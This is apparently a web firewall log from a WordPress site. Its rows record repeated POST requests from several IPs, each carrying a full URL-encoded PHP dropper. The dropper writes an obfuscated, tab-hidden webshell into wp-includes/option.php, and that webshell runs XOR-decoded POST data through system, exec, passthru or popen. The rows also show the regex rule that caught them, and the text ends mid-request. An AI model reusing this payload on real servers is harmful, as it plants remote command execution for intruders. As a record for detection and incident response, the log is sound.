Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:45:14","190.92.169.79","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5336\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nFY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:45:19","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5336\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nQH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:45:34","118.139.167.171","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 